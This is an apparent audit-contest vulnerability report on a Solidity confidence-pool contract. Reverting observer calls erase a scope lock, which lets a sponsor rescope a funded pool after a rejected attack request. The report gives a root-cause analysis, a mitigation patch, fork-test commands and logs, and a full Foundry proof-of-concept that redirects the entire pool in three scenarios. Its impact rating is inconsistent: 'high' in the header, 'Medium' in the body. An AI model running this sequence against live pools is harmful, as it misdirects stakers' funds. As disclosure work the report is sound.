FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Reverting first-observer paths erase the permanent scope lock, allowing funded pool scope replacement after rejection

Author Revealed upon completion

## Summary

During `ATTACK_REQUESTED`, `_observePoolState()` sets `scopeLocked`, but `pokeRiskWindow()` and `setPoolScope()` subsequently revert and erase that write. A legitimate rejection returns the Agreement to `NOT_DEPLOYED`, allowing funded scope replacement. Later corruption can then settle all principal and bonus against the wrong scope commitment.

## Description

### Intended behavior

Scope is mutable only in `NOT_DEPLOYED` or `NEW_DEPLOYMENT`. The first later-state observation permanently fixes the list used by the moderator to classify corruption.

### Actual behavior

1. A funded `[A]` pool reaches `ATTACK_REQUESTED` for an Agreement covering A and B.

2. `pokeRiskWindow()` and `setPoolScope()` each write, then revert and erase, the first lock.

3. A legitimate rejection returns the Agreement to `NOT_DEPLOYED`.

4. The sponsor replaces scope with another valid subset, such as `[A, B]`.

5. Later corruption is resolved against the replacement list, changing the full-pool recipient.

The precondition is that no successful economic call persists the lock before rejection.

## Root Cause

`_observePoolState()` writes `scopeLocked = true` for `ATTACK_REQUESTED`, but its callers revert that same transaction:

```solidity

_observePoolState();

if (scopeLocked) revert ScopePostLockImmutable(); // setPoolScope

_observePoolState();

if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached(); // poke

```

Because `ATTACK_REQUESTED` sets neither risk marker, both writes roll back. Rejection then deletes upstream registration history:

https://github.com/Cyfrin/battlechain-safe-harbor-contracts/blob/fde1b2abe9e5c27175f5b6f7324bcce6afc3b059/src/AttackRegistry.sol#L350-L383

## Risk

### Impact

**Medium:** incorrect settlement of the full 1,000-token principal plus 200-token bonus.

- Expansion, bad faith: `[A] -> [A, B]` redirects all 1,200 tokens to recovery; the unchanged `[A]` control pays the staker.

- Expansion, good faith: the changed pool pays all 1,200 tokens to the named whitehat; the unchanged control pays the staker.

- Narrowing: `[A, B] -> [A]` returns all 1,200 tokens to the staker; the unchanged `[A, B]` control pays the whitehat for the covered corruption.

### Likelihood

The sequence requires a rejected first request, no successful lock-persisting economic call, valid rescoping, and later corruption involving a changed account. All roles and parameters remain valid; no compromised registry or mock lifecycle is needed.

## Attack Path / Reproduction Path

1. Create and fund victim and control pools for an Agreement covering A and B.

2. Reach `ATTACK_REQUESTED`; call both reverting observer paths and confirm `scopeLocked == false`.

3. Legitimately reject to `NOT_DEPLOYED`, then replace only the victim scope.

4. Request again, approve, and reach `CORRUPTED`.

5. Resolve and claim victim and control under expansion bad-faith, expansion good-faith, and narrowing scenarios.

## External Preconditions

A legitimate rejection returns the Agreement to `NOT_DEPLOYED`; later corruption affects an account whose scope membership changed. The token is a standard ERC20.

## Internal Preconditions

The funded pool is unresolved and unlocked, only reverting observers run before rejection, and every replacement account belongs to the Agreement.

## Affected Code

Scoped commit: `58e8ba4ce3f3277866e4926f3140e597f9554a1e`.

- Observation rollback: [setPoolScope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L636-L640), [pokeRiskWindow](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L649-L657), and [_observePoolState](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L778-L798).

- Scope replacement and settlement: [_replaceScope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L746-L775) and [claim paths](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L322-L452).

- Specification: [fixed pool-local scope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/docs/DESIGN.md#L209-L231).

## Recommended Mitigation

Treat a new scope lock as successful work, so its transaction cannot roll back:

```solidity

function setPoolScope(address[] calldata accounts)

external

onlyOwner

returns (bool updated)

{

bool wasLocked = scopeLocked;

_observePoolState();

if (scopeLocked) {

// A revert here would erase a lock written by this call.

if (!wasLocked) return false;

revert ScopePostLockImmutable();

}

_replaceScope(accounts);

return true;

}

function pokeRiskWindow() external {

if (outcome != PoolStates.Outcome.UNRESOLVED) return;

bool wasLocked = scopeLocked;

_observePoolState();

bool scopeJustLocked = !wasLocked && scopeLocked;

if (!scopeJustLocked && riskWindowStart == 0 && riskWindowEnd == 0) {

revert RiskWindowNotReached();

}

}

```

Expose the return value or emit a lock-only event. Test both observer paths across rejection. If locking must occur without any pool transaction, the registry must expose monotonic transition history.

## Proof of Concept

```text

test/poc/ConfidencePoolScopeLockRollback.poc.t.sol

```

The test pins BattleChain block `17,036` and uses the real registry stack, configured moderator, and Agreement Factory. It deploys the scoped pools with a standard ERC20; no registry mocks or storage writes are used.

### Deterministic fork PoC

Run from the repository root:

```bash

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com \

forge test --match-path 'test/poc/ConfidencePoolScopeLockRollback.poc.t.sol' -vv

```

The tests cover three settlement variants and one successful-lock control.

### Deterministic fork logs

```text

[PASS] test_Control_SuccessfulEconomicCallPersistsLockAcrossRejection()

CONTROL: a successful one-unit contribution persists the scope lock

[PASS] test_PoC_BadFaithCorruptionRedirectsEntirePoolToRecovery()

scopeLocked after reverted ATTACK_REQUESTED poke false

full victim pool redirected to recovery 1200000000000000000000

unchanged control pool paid to staker 1200000000000000000000

[PASS] test_PoC_GoodFaithCorruptionRedirectsEntirePoolToWhitehat()

scopeLocked after reverted ATTACK_REQUESTED poke false

full victim pool paid to named whitehat 1200000000000000000000

unchanged control pool paid to staker 1200000000000000000000

[PASS] test_PoC_NarrowedScopeInvertsCorruptedSettlementToSurvived()

full narrowed pool returned to staker 1200000000000000000000

unchanged broad-scope pool paid to whitehat 1200000000000000000000

Suite result: ok. 4 passed; 0 failed; 0 skipped

```

### Local RPC PoC

Start a pinned local fork:

```bash

anvil --fork-url https://testnet.battlechain.com \

--fork-block-number 17036 --chain-id 627 --port 8547 --silent

```

Run the PoC through that local JSON-RPC endpoint:

```bash

cast chain-id --rpc-url http://127.0.0.1:8547

cast block-number --rpc-url http://127.0.0.1:8547

BATTLECHAIN_TESTNET_RPC=http://127.0.0.1:8547 \

forge test --match-path 'test/poc/ConfidencePoolScopeLockRollback.poc.t.sol' -vv

```

### Local RPC logs

```text

chain_id=627

block=17036

Suite result: ok. 4 passed; 0 failed; 0 skipped

```

### Determinism

Both modes pin chain ID `627` at block `17,036`; actors, transitions, scopes, funding, and balance assertions are fixed. No oracle, timing, ordering, or governance input is involved.

### Full PoC source

```solidity

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";

import {console2} from "forge-std/console2.sol";

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

import {ConfidencePool} from "src/ConfidencePool.sol";

import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";

import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";

import {PoolStates} from "src/libraries/PoolStates.sol";

import {IAgreement} from "@battlechain/interface/IAgreement.sol";

import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";

import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";

import {IBattleChainSafeHarborRegistry} from "@battlechain/interface/IBattleChainSafeHarborRegistry.sol";

import {

Account as BCAccount,

AgreementDetails,

BountyTerms,

Chain as BCChain,

ChildContractScope,

Contact,

IdentityRequirements

} from "@battlechain/types/AgreementTypes.sol";

contract PoCStandardStakeToken is ERC20 {

constructor(address staker, address contributor) ERC20("PoC Standard Stake Token", "PSST") {

_mint(staker, 1_000_000 ether);

_mint(contributor, 1_000_000 ether);

}

}

contract CoveredApplication {

uint256 public immutable applicationId;

constructor(uint256 applicationId_) {

applicationId = applicationId_;

}

}

contract ConfidencePoolScopeLockRollbackPoC is Test {

uint256 internal constant PIN_BLOCK = 17_036;

uint256 internal constant STAKE = 1_000 ether;

uint256 internal constant BONUS = 200 ether;

uint256 internal constant FULL_POOL = STAKE + BONUS;

address internal constant SAFE_HARBOR_REGISTRY = 0x07E09f67B272aec60eebBfB3D592eC649BDCFEFc;

address internal constant ATTACK_REGISTRY = 0x22134e878c409a0Eab7259d873b38e26Ca966d3C;

address internal constant AGREEMENT_FACTORY = 0xf52CEA27b9E20D03Ec48CDe4fafF8F27565646f2;

address internal sponsor = makeAddr("sponsor");

address internal poolModerator = makeAddr("poolModerator");

address internal staker = makeAddr("staker");

address internal contributor = makeAddr("contributor");

address internal whitehat = makeAddr("whitehat");

address internal recovery = makeAddr("recovery");

IAttackRegistry internal attackRegistry;

IAgreement internal agreement;

ConfidencePoolFactory internal confidencePoolFactory;

ConfidencePool internal victimPool;

ConfidencePool internal controlPool;

PoCStandardStakeToken internal stakeToken;

CoveredApplication internal coveredA;

CoveredApplication internal coveredB;

function setUp() public {

try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory rpc) {

vm.createSelectFork(rpc, PIN_BLOCK);

} catch {

vm.skip(true);

return;

}

assertEq(block.chainid, 627, "wrong BattleChain fork");

IBattleChainSafeHarborRegistry safeHarborRegistry = IBattleChainSafeHarborRegistry(SAFE_HARBOR_REGISTRY);

assertEq(safeHarborRegistry.getAttackRegistry(), ATTACK_REGISTRY, "registry pointer drift");

assertEq(safeHarborRegistry.getAgreementFactory(), AGREEMENT_FACTORY, "factory pointer drift");

attackRegistry = IAttackRegistry(ATTACK_REGISTRY);

coveredA = new CoveredApplication(1);

coveredB = new CoveredApplication(2);

agreement = _createRealAgreement();

stakeToken = new PoCStandardStakeToken(staker, contributor);

ConfidencePool poolImplementation = new ConfidencePool();

ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();

ERC1967Proxy factoryProxy = new ERC1967Proxy(

address(factoryImplementation),

abi.encodeCall(

ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImplementation), poolModerator)

)

);

confidencePoolFactory = ConfidencePoolFactory(address(factoryProxy));

confidencePoolFactory.setStakeTokenAllowed(address(stakeToken), true);

victimPool = _createPool(_scopeA());

controlPool = _createPool(_scopeA());

_fundPool(victimPool);

_fundPool(controlPool);

assertFalse(victimPool.scopeLocked(), "victim starts mutable in NOT_DEPLOYED");

assertFalse(controlPool.scopeLocked(), "control starts mutable in NOT_DEPLOYED");

}

function test_PoC_BadFaithCorruptionRedirectsEntirePoolToRecovery() external {

_rewriteVictimScopeAndReachCorrupted();

uint256 recoveryBefore = stakeToken.balanceOf(recovery);

uint256 stakerBefore = stakeToken.balanceOf(staker);

vm.prank(poolModerator);

victimPool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));

victimPool.claimCorrupted();

vm.prank(poolModerator);

controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

vm.prank(staker);

controlPool.claimSurvived();

uint256 redirected = stakeToken.balanceOf(recovery) - recoveryBefore;

uint256 controlPayout = stakeToken.balanceOf(staker) - stakerBefore;

assertEq(redirected, FULL_POOL, "mutated scope redirects all principal and bonus");

assertEq(controlPayout, FULL_POOL, "original scope returns all principal and bonus");

assertEq(stakeToken.balanceOf(address(victimPool)), 0, "victim pool fully drained");

assertEq(stakeToken.balanceOf(address(controlPool)), 0, "control pool fully claimed");

console2.log("SCENARIO: bad-faith CORRUPTED versus original-scope SURVIVED");

console2.log("victim scope accounts after rollback/rewrite", victimPool.getScopeAccounts().length);

console2.log("full victim pool redirected to recovery", redirected);

console2.log("unchanged control pool paid to staker", controlPayout);

}

function test_PoC_GoodFaithCorruptionRedirectsEntirePoolToWhitehat() external {

_rewriteVictimScopeAndReachCorrupted();

uint256 whitehatBefore = stakeToken.balanceOf(whitehat);

uint256 stakerBefore = stakeToken.balanceOf(staker);

vm.prank(poolModerator);

victimPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);

vm.prank(whitehat);

victimPool.claimAttackerBounty();

vm.prank(poolModerator);

controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

vm.prank(staker);

controlPool.claimSurvived();

uint256 attackerPayout = stakeToken.balanceOf(whitehat) - whitehatBefore;

uint256 controlPayout = stakeToken.balanceOf(staker) - stakerBefore;

assertEq(attackerPayout, FULL_POOL, "mutated scope makes the full pool a bounty");

assertEq(controlPayout, FULL_POOL, "original scope remains a survived payout");

assertEq(victimPool.bountyClaimed(), FULL_POOL, "entire bounty entitlement claimed");

console2.log("SCENARIO: good-faith CORRUPTED versus original-scope SURVIVED");

console2.log("full victim pool paid to named whitehat", attackerPayout);

console2.log("unchanged control pool paid to staker", controlPayout);

}

function test_Control_SuccessfulEconomicCallPersistsLockAcrossRejection() external {

_requestAttack();

vm.startPrank(contributor);

stakeToken.approve(address(victimPool), 1);

victimPool.contributeBonus(1);

vm.stopPrank();

assertTrue(victimPool.scopeLocked(), "successful call persists ATTACK_REQUESTED observation");

_rejectAttack();

vm.prank(sponsor);

vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);

victimPool.setPoolScope(_scopeAB());

console2.log("CONTROL: a successful one-unit contribution persists the scope lock");

}

function test_PoC_NarrowedScopeInvertsCorruptedSettlementToSurvived() external {

ConfidencePool narrowedPool = _createPool(_scopeAB());

ConfidencePool originalScopeControl = _createPool(_scopeAB());

_fundPool(narrowedPool);

_fundPool(originalScopeControl);

_requestAttack();

vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);

narrowedPool.pokeRiskWindow();

assertFalse(narrowedPool.scopeLocked(), "reverted observation leaves broad scope mutable");

_rejectAttack();

vm.prank(sponsor);

narrowedPool.setPoolScope(_scopeA());

assertEq(narrowedPool.getScopeAccounts().length, 1, "funded scope narrowed after rejection");

assertEq(originalScopeControl.getScopeAccounts().length, 2, "control retains original broad scope");

_requestAttack();

vm.prank(attackRegistry.getRegistryModerator());

attackRegistry.approveAttack(address(agreement));

narrowedPool.pokeRiskWindow();

originalScopeControl.pokeRiskWindow();

vm.prank(sponsor);

attackRegistry.markCorrupted(address(agreement));

uint256 stakerBefore = stakeToken.balanceOf(staker);

uint256 whitehatBefore = stakeToken.balanceOf(whitehat);

vm.prank(poolModerator);

narrowedPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

vm.prank(staker);

narrowedPool.claimSurvived();

vm.prank(poolModerator);

originalScopeControl.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);

vm.prank(whitehat);

originalScopeControl.claimAttackerBounty();

uint256 narrowedPayout = stakeToken.balanceOf(staker) - stakerBefore;

uint256 originalScopeBounty = stakeToken.balanceOf(whitehat) - whitehatBefore;

assertEq(narrowedPayout, FULL_POOL, "narrowed scope wrongly returns the full pool to staker");

assertEq(originalScopeBounty, FULL_POOL, "original broad scope correctly pays corrupted bounty");

console2.log("SCENARIO: narrowed-scope SURVIVED versus original-scope CORRUPTED");

console2.log("full narrowed pool returned to staker", narrowedPayout);

console2.log("unchanged broad-scope pool paid to whitehat", originalScopeBounty);

}

function _rewriteVictimScopeAndReachCorrupted() internal {

_requestAttack();

vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);

victimPool.pokeRiskWindow();

assertFalse(victimPool.scopeLocked(), "poke rollback erases the first scope lock");

console2.log("scopeLocked after reverted ATTACK_REQUESTED poke", victimPool.scopeLocked());

vm.prank(sponsor);

vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);

victimPool.setPoolScope(_scopeAB());

assertFalse(victimPool.scopeLocked(), "setter rollback also erases the first scope lock");

_rejectAttack();

vm.prank(sponsor);

victimPool.setPoolScope(_scopeAB());

assertEq(victimPool.getScopeAccounts().length, 2, "funded victim scope rewritten");

assertEq(controlPool.getScopeAccounts().length, 1, "control retains original commitment");

_requestAttack();

address registryModerator = attackRegistry.getRegistryModerator();

vm.prank(registryModerator);

attackRegistry.approveAttack(address(agreement));

assertEq(

uint256(attackRegistry.getAgreementState(address(agreement))),

uint256(IAttackRegistry.ContractState.UNDER_ATTACK),

"real registry approval failed"

);

victimPool.pokeRiskWindow();

controlPool.pokeRiskWindow();

assertTrue(victimPool.scopeLocked(), "rewritten victim scope finally locks");

assertTrue(controlPool.scopeLocked(), "control scope finally locks");

vm.prank(sponsor);

attackRegistry.markCorrupted(address(agreement));

assertEq(

uint256(attackRegistry.getAgreementState(address(agreement))),

uint256(IAttackRegistry.ContractState.CORRUPTED),

"real registry corruption transition failed"

);

console2.log("real registry rejection and re-registration completed");

}

function _requestAttack() internal {

vm.prank(sponsor);

attackRegistry.requestUnderAttackForUnverifiedContracts(address(agreement));

assertEq(

uint256(attackRegistry.getAgreementState(address(agreement))),

uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED),

"real registry request failed"

);

}

function _rejectAttack() internal {

address registryModerator = attackRegistry.getRegistryModerator();

vm.prank(registryModerator);

attackRegistry.rejectAttackRequest(address(agreement), false);

assertEq(

uint256(attackRegistry.getAgreementState(address(agreement))),

uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),

"real registry rejection failed"

);

}

function _createRealAgreement() internal returns (IAgreement createdAgreement) {

BCAccount[] memory accounts = new BCAccount[](2);

accounts[0] = BCAccount({

accountAddress: _addressToString(address(coveredA)), childContractScope: ChildContractScope.None

});

accounts[1] = BCAccount({

accountAddress: _addressToString(address(coveredB)), childContractScope: ChildContractScope.None

});

BCChain[] memory chains = new BCChain[](1);

chains[0] =

BCChain({assetRecoveryAddress: _addressToString(recovery), accounts: accounts, caip2ChainId: "eip155:627"});

Contact[] memory contacts = new Contact[](1);

contacts[0] = Contact({name: "Security", contact: "security@example.test"});

BountyTerms memory terms = BountyTerms({

bountyPercentage: 10,

bountyCapUsd: 5_000_000,

retainable: true,

identity: IdentityRequirements.Anonymous,

diligenceRequirements: "none",

aggregateBountyCapUsd: 0

});

AgreementDetails memory details = AgreementDetails({

protocolName: "Confidence Pool PoC Agreement",

contactDetails: contacts,

chains: chains,

bountyTerms: terms,

agreementURI: "ipfs://confidence-pool-poc"

});

vm.prank(sponsor);

address agreementAddress =

IAgreementFactory(AGREEMENT_FACTORY).create(details, sponsor, keccak256("scope-lock-rollback-poc"));

createdAgreement = IAgreement(agreementAddress);

vm.prank(sponsor);

createdAgreement.extendCommitmentWindow(block.timestamp + 30 days);

assertTrue(createdAgreement.isContractInScope(address(coveredA)), "A missing from agreement scope");

assertTrue(createdAgreement.isContractInScope(address(coveredB)), "B missing from agreement scope");

}

function _createPool(address[] memory accounts) internal returns (ConfidencePool createdPool) {

vm.prank(sponsor);

address poolAddress = confidencePoolFactory.createPool(

address(agreement), address(stakeToken), block.timestamp + 31 days, 1 ether, recovery, accounts

);

createdPool = ConfidencePool(poolAddress);

}

function _fundPool(ConfidencePool pool) internal {

vm.startPrank(staker);

stakeToken.approve(address(pool), STAKE);

pool.stake(STAKE);

vm.stopPrank();

vm.startPrank(contributor);

stakeToken.approve(address(pool), BONUS);

pool.contributeBonus(BONUS);

vm.stopPrank();

assertEq(stakeToken.balanceOf(address(pool)), FULL_POOL, "pool funding mismatch");

}

function _scopeA() internal view returns (address[] memory accounts) {

accounts = new address[](1);

accounts[0] = address(coveredA);

}

function _scopeAB() internal view returns (address[] memory accounts) {

accounts = new address[](2);

accounts[0] = address(coveredA);

accounts[1] = address(coveredB);

}

function _addressToString(address account) internal pure returns (string memory) {

bytes memory alphabet = "0123456789abcdef";

bytes memory result = new bytes(42);

result[0] = "0";

result[1] = "x";

for (uint256 i; i < 20; ++i) {

result[2 + i * 2] = alphabet[uint8(uint160(account) >> (8 * (19 - i) + 4)) & 0x0f];

result[3 + i * 2] = alphabet[uint8(uint160(account) >> (8 * (19 - i))) & 0x0f];

}

return string(result);

}

}

```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!